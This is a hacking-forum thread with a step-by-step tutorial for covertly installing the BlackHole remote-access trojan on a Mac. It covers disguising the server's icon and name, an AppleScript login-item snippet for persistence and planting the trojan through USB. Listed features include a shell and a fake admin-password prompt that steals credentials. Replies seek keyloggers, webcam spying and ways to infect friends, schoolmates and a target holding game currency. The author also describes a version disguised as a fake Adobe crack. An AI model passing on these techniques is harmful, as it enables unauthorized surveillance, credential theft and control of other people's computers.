Thread: [\[TuT\] How to successfully RAT a Mac \[Detailed\]](#)

Das_Virus - January 11, 2011, 9:26 am

So this will be a Tutorial about RAtIng a MAC. I write this Tutorial because there are not so much tutorials out there for Mac users. I hope i can help you with this?

The first step is to get the RAT you want to install on the Victims Machine.

Step 1: Finding the RAT

I know 2 RATs for OSX which are really good.

1. Hell Raiser 4.2
2. BlackHole RAT

Here is the Tutorial for the Hell Raiser RAT: [click](#)

I will write a Tutorial on how to use the BlackHole RAT.

Download it from here: [Mediafire](#)

Step 2: Setting up the RAT

When you have downloaded the RAT, unpack it and copy it to your Desktop. DO NOT RUN THE SERVER!!!!

The Server will have the default App Icon. to change that, click on the Server and press cmd+i. An Information Window will pop up and in the left upper corner you will see the Icon. Now open up the information Window from another Application like Safari and click on the Icon in the corner, then press cmd+c.

When you have done that, click on the icon of the Server and hit cmd+v.

Now you can close the information Window and the Server should have the same icon as the other Application.

You can also change the Name to something you want.

Step 3: Creating the Startup Script

If you want that the Server will be started on every Boot, you have to add it to the Startup Items. to do so, you can build a simple Apple Script.

1. Open up Script Editor
2. Type in the following command:

```
Quote:set apppath to "/path/to/application.app"
tell application "System Events"
make login item at end with properties {path:apppath, hidden:false}
```

end tell

change "path/to/application.app" to the path where you will place the Server.

3. Save as Programm

Now when you have done that, you are finished with the setup of the RAT.?

Step 4: Infecting the Victim

Now there are many ways you can place the RAT on the victims Computer, but the best is over USB. So place the Server on a save place and run the AppleScript, then run the Server itself.

Now you have succsessfully infected the Mac Computer, the Server will run in the background, you can only kill it over the activitys Window. This RAT is FUD, no Virus System will be able to save your victim from it!?

So go back to your Computer and run the Client. (Client works for Mac and Windows!!)

Step 5: Connecting to the Server

Run the Client, there will be a Noob-Protection. Enter "PassAufWasDuMachst!" without quotes and press "Let me in..."

Now you are in the mainwindow of the Client. Fill in the Victims IP Address and yours and click Connect.

Now you have the following functions:

- Shell (with the actually logged in User privileges)
- Open Webpage with default Web Browser
- Send a Message which will be displayed on the Victims Screen
- Create a Text file on the Victims Desktop
- Shutdown, Restart and Sleep
- Request Admin Login (This will display a faked request for Admin privileges and send you the name and password)

Here are some Pics:

The main Window:

[img]<http://img25.imageshack.us/img25/2096/bild1sr.png>[/img]

More functions:

[img]<http://img534.imageshack.us/img534/3714/bild2s.png>[/img]

The sended Message:

[img]<http://img87.imageshack.us/img87/7633/bild3vj.png>[/img]

The faked Admin login:

[img]<http://img706.imageshack.us/img706/852/bild4dj.png>[/img]

And here the Shell:

[img]<http://img534.imageshack.us/img534/8267/bild5f.png>[/img]

I hope i can help you with this. If you have any Questions to the BlackHole RAT feel free to Post them.

mad me ye - January 11, 2011, 9:28 am

provide screenshots from nothanksvirus for the download for other people.

Das_Virus - January 11, 2011, 9:34 am

I will add them.. in a few minutes you have them..

(Jan 23, 2011 09:32 AM)Fafaffy Wrote: [\[CITE\]](#) Grammar error in administrator password request...

Srry my english is not so good..

Ace of Sp?des - January 23, 2011, 9:00 am

Would I be able to remove the infection from my slave computer?

Das_Virus - January 23, 2011, 9:10 am

Kill the Process named "BlackHole RAT Server" in your Process Window, then delet the Server file, then delete the entry in Startup Folder.

Reactive - January 23, 2011, 12:53 pm

how will i find the ip of the victim, most routers have dynamic ip, also do you know if there will be more RATs out soon with more functions (it may seem like im asking for more but compared to the windows RATs its a bit empty) i will download it and try it next time i have access to someone elses mac. Thanks a lot for the TUT

DemonWarfare - January 23, 2011, 4:07 pm

nice tutorial thanks very much

Das_Virus - January 24, 2011, 1:12 pm

Mac systems are alot more secure as Windows, also this is coded in real basic so there can't be as much funktions as if it would be written is C++.

I dont know if it works with port forwarding, i could add a funktion that checks the router ip every time the victims computer starts and send the ip to your email.

This RAT is desined to work in one network, you should be connected to the same wireless network as the victim.

what function should i add?

evilfoo - January 25, 2011, 9:46 pm

the ability for the slave to initiate connection through firewall, enable webcam would be useful.

sumit8510 - March 24, 2011, 12:31 pm

This is the first tut I have seen for Rating Mac OS.

Thank you so much for this.

/b/roman - March 26, 2011, 3:36 pm

Das_Virus is the man. awesome job with the TuT and I'm glad to see blackholeRAT in action.

Zero_Viscosity - March 26, 2011, 3:44 pm

Hey, I and a few of my friends have macs and I want to test this :P

Does it work on the Intel Architecture?

Das_Virus - March 27, 2011, 3:13 am

Yes it should work.

Ttooo sshhoorrtt

Dipolsa - March 27, 2011, 6:48 am

<http://www.virustotal.com/file-scan/report.html?id=9566b9e63df389dec6df155bd23f7d916156425b4bc7c6010a703d6336bf5643-1299129758>

See this

52643 - March 27, 2011, 7:10 am

This is only the second Mac RAT tutorial I have seen, thanks.

(Mar 27, 2011 06:48 AM)Dipolsa Wrote: [\[CITE\]](#)

<http://www.virustotal.com/file-scan/report.html?id=9566b9e63df389dec6df155bd23f7d916156425b4bc7c6010a703d6336bf5643-1299129758>

See thisThen again... This isn't legit then?

Mean - March 27, 2011, 7:28 am

Good Job, Ill Install A Mac Virtual Machine and Try This Out

5 Stars.

Das_Virus - March 27, 2011, 11:20 am

(Mar 27, 2011 06:48 AM)Dipolsa Wrote: [\[CITE\]](#)

<http://www.virustotal.com/file-scan/report.html?id=9566b9e63df389dec6df155bd23f7d916156425b4bc7c6010a703d6336bf5643-1299129758>

See this

Yes the Trojan is not FUD or UD, thats the reason why the virusscanners detect it.

Im currently working on a new version of this Trojan.

azerty - March 27, 2011, 11:56 am

wow thats is good I hope it is sill FUD !!

Das_Virus - March 28, 2011, 1:17 am

I will Upload a Video Today, New Version is FUD

cashmoney1 - March 28, 2011, 3:23 am

Too bad it's reverse connection.

Black Shadow - March 28, 2011, 4:59 am

Can you hack into an ipad then with this?

richownz - March 28, 2011, 6:59 am

can you add me and explain how to do stuff like this :) pplease

gudde - March 28, 2011, 8:47 am

great post - too bad you need a MAC to run do this.

Das_Virus - March 28, 2011, 12:31 pm

Video --> http://www.youtube.com/watch?v=DIdlL6NN_oc

This Version can do this till now:

- Shell
- RootShell (not finished, but i think i can add that; only after phished Admin pass)

- Block Activity Monitor (After Phished Admin Pass)
- Hidden From Dock/Finder
- Phish Admin Pass
- Read some Text
- Display a Message
- Open a Chat (Bug when closing the Chat the Server crashes)
- iSight (taking the Photo is not the problem, but sending it to the Client)
- ScreenShot (Same problem as iSight)
- Automatically add to startup
- Install as faked Adobe CS5 Master Suit Crack (need Admin Privileges)
- Install without Admin Pass, but with a File that the "Victim" must execute (by dubbleclicking on it)

Status --> Currently fixing some bugs, then I will make a release of it.

What do you think about it? What could I add?

Buddha - March 28, 2011, 12:55 pm

hey man you should add webcam hack + how do we protect our self as the hacker?

Das_Virus - March 28, 2011, 1:03 pm

iSight = Webcam Hack. You can take iSight Photos;)

hmm.. I could crypt the traffic, so the "victim" can't see the IP of the "master"

Das_Virus - March 31, 2011, 6:58 am

hmm.. I think I can release a Alpha Version now, but first is there someone who wants to test the new Version?

Because I don't want to release it untested, I tested it on my own Computer but it would be nice if someone else could test it too.

rohan_5013 - April 1, 2011, 12:43 am

Bro I could test it for you if you would like..I'm running OSX snow leopard on VirtualBox..pm me if you would like me to test it for ya:)

Das_Virus - April 3, 2011, 2:09 am

Here is the release: <https://hackforums.net/showthread.php?tid=1179106>

dsfser - April 3, 2011, 2:32 am

lol i have cybergate and i have one mac in my list :P evrything works such as webcam and remote destop :P i love it

Das_Virus - April 3, 2011, 7:11 am

cybergate for mac? Isn't it a Windows only Trojan?

xXGunslingerXx - April 3, 2011, 8:26 am

Nice tutorial look forward to future ones. Thanks mate.

xXGunslingerXx - April 5, 2011, 12:46 pm

With infecting the victim can you attach the rat to a downloadable file?

UNIXer - May 11, 2011, 5:14 am

How do I RAT a Windows computer from a Mac??

MackCrack - June 3, 2011, 11:54 am

(May 11, 2011 05:14 AM)UNIXer Wrote: [\[CITE\]](#) How do I RAT a Windows computer from a Mac?? You can use wine or VB. or if you have money then you can buy a pretty expensive rat like Incognito Rat: <https://hackforums.net/showthread.php?tid=1318334>

SuperTP24 - June 6, 2011, 6:15 pm

When I download it, it comes up as a virus. o_0

Das_Virus - June 7, 2011, 7:32 am

(Jun 6, 2011 06:15 PM)SuperTP24 Wrote: [\[CITE\]](#) When I download it, it comes up as a virus. o_0 Shure cause it IS a Trojan, but the Client is also detected. If you follow my Tutorial you can infect other people with it, if you do something wrong you will infect yourself.

But there is a newer Version.

Clen - June 7, 2011, 8:27 am

Excellent! Might get into the whole MAC hacking scene.
Thanks for the tutorial.

penalty - August 25, 2011, 5:29 am

Who wrote this admin alert dialog? The buttons are wrong and the english is awful. Anyone with a brain could see that it's suspicious.

<http://img706.imageshack.us/img706/852/bild4dj.png>

oleemil516 - August 25, 2011, 8:14 am

Thanks for tut, have been looking for this! TY!

h4kr! - August 25, 2011, 10:56 am

0/43 but the corner says malware (with 1 vote).this CANT last long!

some_dude - September 23, 2011, 6:06 pm

is there a way to access the slaves webcam with a RAT? Also, is there a way to install a RAT remotely, and if so how difficult would it be to remotely install a RAT?

bnichs5 - December 9, 2011, 9:29 pm

How do i get my victims IP adress??? please help. PM ME WITH EXPLANATION. THANKS SOOO MUCH!!!

OillyDBG.exe - December 10, 2011, 12:21 am

nice TUT tn timer i using MacOSx Leon

humangraffiti - December 11, 2011, 2:04 pm

hey bro tn timer for this!! can you add me on skype? im havng trouble co24wen22

okaydude - December 14, 2011, 12:02 pm

Is it possible for you to add a keylogger to the RAT? That would honestly be the most important thing in my opinion, because not all people use their OSX administrator password with other accounts.

datapiratur - December 15, 2011, 11:29 am

Okay what.

[img]http://24.media.tumblr.com/tumblr_lw9fe2G3Uo1r1y42zo1_500.png[/img]

Explain pl0x

alastair - December 15, 2011, 1:34 pm

Correct me if i'm wrong.

the server creator is an .exe file? which means the server can be made on a windows computer and the compiled served is ready to run on a mac? antiviruses will detect this creator as an hacktool/trojan but the compiled server will not get caught when installed on a mac unless it got some kind of security progra, but if the server is uploaded it gets detected?

J!nx - December 15, 2011, 1:53 pm

(Dec 14, 2011 01:02 PM)okaydude Wrote: [\[CITE\]](#) Is it possible for you to add a keylogger to the RAT? That would honestly be the most important thing in my opinion, because not all people use their OSX administrator password with other accounts.

Yes you can with a ftp server

To short

(Sep 23, 2011 06:06 PM)some_dude Wrote: [\[CITE\]](#) is there a way to access the slaves webcam with a RAT? Also, is there a way to install a RAT remotely, and if so how difficult would it be to remotely install a RAT?

Yes you can use the webcam with a rat but be

Carefull some webcams have a little light wich

Shows if it is in use or not

U need the victem to click the exe ofc ???

Apple344TheSecond - December 15, 2011, 5:52 pm

Worked fine, but it sometimes disconnects while I'm hacking the person, but still works fine other then that, thanks.

rouge_killer97 - January 9, 2012, 11:55 am

using this RAT how can i access someone's webcam?

i didnt realise this had already been partially covered can you provide more details on accessing the webcam?

Noobo - February 8, 2012, 5:17 pm

How exactly do i find out the IP of the person? :/

bernardbear - February 9, 2012, 2:20 pm

how to see keylogger ot remote desktop ? is this RAT have that function ?

blleekkzz - February 9, 2012, 3:44 pm

This is a nice TUT thank you very much..

Martial - February 9, 2012, 4:46 pm

Finally all those stupid people can stop saying "Oh, I have a mac so I can't get viruses", nice tut bro.

hazeone - April 3, 2012, 8:51 am

can you run this on windows and infect a mac? if so download link to windows version please?

run3pur34eva - April 3, 2012, 9:03 am

LOL! This actually works. Thank you so much :)

iburn420 - April 3, 2012, 10:18 am

Great tut man worked for me tested on one of my buddys :)

Slayster - April 3, 2012, 4:50 pm

Nice tut, these should help a lot of people.

XofSteel98 - April 3, 2012, 9:52 pm

?THANK YOU!?

_(*__*)_/

Bram - April 4, 2012, 12:42 am

nice tutorial,
I try it later :)

gfgfgf

#Rossey - April 4, 2012, 9:10 am

Im going to add you I need some help, got a guy with over £300 worth of online currency (RSGP/Habbo) Who I need to RAT.

Thanks #Rossey

monkeydiablo - April 7, 2012, 11:13 pm

Hey can you post a new download link. The current one got removed by mediafire

SuaveSalmon - April 8, 2012, 11:27 am

Thanks man I'm gonna try this out! Looks like a great tutorial!

4play - April 8, 2012, 11:48 am

does this only work over a lan network?

igenious99 - April 8, 2012, 2:30 pm

Great free stuffs .. Good sharing .. Keep it up ..

?Racer C'mon! - April 19, 2012, 6:37 am

Where can I download BlackHole rat? Awesome tutorial Btw, keep it up!

goonaboy213 - November 5, 2012, 2:04 pm

Hi great tutorial. Is there an alternative download link tho? the one up there is broken. U can pm me too or email.

judeles - November 5, 2012, 2:07 pm

To be honest i can not trust him

?

d4rk41g0r1thm - November 5, 2012, 9:33 pm

Great tutorial will try this thank you :)

Kenny West - November 5, 2012, 9:40 pm

Good to see there are some more technological advances for Mac!

daemoneutopia - November 11, 2012, 1:50 pm

Any chance I could get some help with this!? I'm not a total noob, I was using Sub7 years ago with win PCs. However, my rather braggy mate with a mac says there are no RATs out there for os x that can be put on stealthy-like i.e. not snipperspy which needs installing. I have read the thread on this and, perhaps foolishly, wagered I could get him. Ok, ok, so he is going to be suspicious of anything from me but we did agree he would accept media files etc etc from me (i.e. not dirty great applications).

I can get the windows client to work fine and have no-ip set up. I can create the config file and put it into the application folder, however, I'm a bit unfamiliar with mac file structuring to make it a bit more stealthy. I get that he has to open the installer.app, how will that appear to him? To me, in windows it's a folder, if I rename it to 'something.pdf' will it still work? Do the (.) files that came with the .app folder (i.e. the hidden (in osx) zipped ones) need to be in the app folder or are they for uploading once the server is connected?

Any help much received, I'm afraid it is a good old case of windows vs mac...which I am ambivalent about btw, just friendly banter and a bit of a bet.

ComeGetBravo - December 7, 2012, 7:23 am

Will this only work over the LAN?

I'd really like doing this when im home and have infected peps in school :)

webdelabs - December 7, 2012, 7:41 am

Very nice detailed tutorial, congrats on it.

merule - January 8, 2013, 10:35 am

Hey Das_Virus is this is up?

Have you made any updates? The ideal functions will be:

- ability to remotely deploy it via email or link
- keylogger
- no need of ip address

Let us know if you have any updates thanks and great job!

Haseo™ - January 8, 2013, 10:41 am

I've never heard of hell raiser I'll have to look into that one. great tutorial mate.

(Nov 5, 2012 10:40 PM)Kenny West Wrote: [\[CITE\]](#) Good to see there are some more technological advances for Mac!

Do you by any chance like fishdicks kenny west? (south park reference not being an ass) =D

motherfuckerjames - April 13, 2013, 3:55 pm

Can this be ran through Windows? If so is a virtual box needed or something along those lines?

kafantrei - April 14, 2013, 5:08 pm

hello! i would really appreciate if u help me with this! i will even pay u for this i just wonder does this pick up keyloggs tho?

?nxy - April 14, 2013, 9:42 pm

Ratting Macs.. very rare. I've actually never seen a tutorial on this before, thanks for this information.

malishayev1234 - July 19, 2013, 8:48 am

Hey Im new and everything but i just got BLackhole rat v3 on my mac (i couldnt find anyother ones) can you please help me i dont really know how to use it thanks

Orochimaru - July 19, 2013, 9:49 am

You can also use jRAT, it's a Java rat tat works on Macs

Seary12345 - September 22, 2013, 10:10 am

Can anyone link me To Black Hole RAT download i cant find one anywhere?

LEGOLINK1 - September 22, 2013, 10:48 am

thank you sooo much op been looking for a tut on this forever

When all the download links are expired and the tut is 2 and a half years old.

sure you have buddy. Just another Grave digger.

traczthefox - September 22, 2013, 7:13 pm

Rat a mac? wait what. i didnt think this could be done unless it is made for mac

Zer0Degree5 - October 29, 2013, 12:58 am

nice man. This looks great and i will surely try out soon

redOverfl0w - June 5, 2014, 5:18 pm

(Jan 11, 2011 10:26 AM)Das_Virus Wrote: [\[CITE\]](#) So this will be a Tutorial about RATing a MAC. I write this Tutorial because there are not so much tutorials out there for Mac users. I hope i can help you with this?

The first step is to get the RAT you want to install on the Victims Machine.

Step 1: Finding the RAT

I know 2 RATs for OSX which are really good.

1. Hell Raiser 4.2
2. BlackHole RAT

Here is the Tutorial for the Hell Raiser RAT: [click](#)

I will write a Tutorial on how to use the BlackHole RAT.

Download it from here: [Mediafire](#)

Step 2: Setting up the RAT

When you have downloaded the RAT, unpack it and copy it to your Desktop. DO NOT RUN THE SERVER!!!!

The Server will have the default App Icon. to change that, click on the Server and press cmd+i. An Information Window will pop up and in the left upper corner you will see the Icon. Now open up the information Window from another Application like Safari and click on the Icon in the corner, then press cmd+c.

When you have done that, click on the icon of the Server and hit cmd+v.

Now you can close the information Window and the Server should have the same icon as the other Application.

You can also change the Name to something you want.

Step 3: Creating the Startup Script

If you want that the Server will be started on every Boot, you have to add it to the Startup Items. to do so, you can build a simple Apple Script.

1. Open up Script Editor
2. Type in the following command:

change "path/to/application.app" to the path where you will place the Server.

3. Save as Programm

Now when you have done that, you are finished with the setup of the RAT.?

Step 4: Infecting the Victim

Now there are many ways you can place the RAT on the victims Computer, but the best is over USB. So place the Server on a safe place and run the AppleScript, then run the Server itself.

Now you have successfully infected the Mac Computer, the Server will run in the background, you can only kill it over the activitys Window. This RAT is FUD, no Virus System will be able to save your victim from it!?

So go back to your Computer and run the Client. (Client works for Mac and Windows!!)

Step 5: Connecting to the Server

Run the Client, there will be a Noob-Protection. Enter "PassAufWasDuMachst!" without quotes and press "Let me in..."

Now you are in the mainwindow of the Client. Fill in the Victims IP Address and yours and click Connect.

Now you have the following functions:

- Shell (with the actually logged in User privileges)
- Open Webpage with default Web Browser
- Send a Message which will be displayed on the Victims Screen
- Create a Text file on the Victims Desktop
- Shutdown, Restart and Sleep
- Request Admin Login (This will display a faked request for Admin privileges and send you the name and password)

Here are some Pics:

The main Window:

[img]http://img25.imageshack.us/img25/2096/bild1sr.png[/img]

More functions:

[img]http://img534.imageshack.us/img534/3714/bild2s.png[/img]

The sended Message:

[img]http://img87.imageshack.us/img87/7633/bild3vj.png[/img]

The faked Admin login:

[img]http://img706.imageshack.us/img706/852/bild4dj.png[/img]

And here the Shell:

[img]http://img534.imageshack.us/img534/8267/bild5f.png[/img]

I hope i can help you with this. If you have any Questions to the BlackHole RAT feel free to Post them.

Download link no longer working ? Does anyone have a working/virus free link?

adel437 - June 6, 2014, 8:17 am

So much easier with darkcomet on a windows.

kameolite - June 13, 2014, 9:33 am

Thanks for tut, have been looking for this! TY!

Justin Bieber x - June 13, 2014, 10:21 am

Wow very nice tutorial mate i can use this thankssss

TylerJohn120 - June 13, 2014, 8:41 pm

Is there a download link that works?

rebmoe - November 11, 2014, 4:15 am

how can i RAT a mac from a windows computer? can i? is it like ratting a normal windows? or is it different

Das_Virus - November 20, 2014, 2:08 pm

If someone needs to get a shell on osx, take a look at this:

<https://hackforums.net/showthread.php?tid=4546523>

GorrePro - December 24, 2014, 3:50 pm

Thanks for great for this mate , looked everywhere after an easy understanding and working tutorial !

OnlyTigerAlive - December 25, 2014, 8:26 am

Didn't know it was possible man 5/5 thanks dude.

HacksForLife127 - January 16, 2016, 2:10 pm

Can someone post a new download link?

SIM-2914245 - January 17, 2016, 1:41 pm

mwahaha now i just need to find a victim proceeds to bring pinkie finger up to corner of mouth

augustgambino - *May 17, 2016, 6:15 pm*

Hey there. I dont see the password on startup.

infinernet - *June 11, 2016, 7:37 pm*

Any new download link!?! This doesn't work.

Mister_Robot - *November 22, 2016, 3:00 pm*

Download link is gone :(Can anyone enter a new one ?
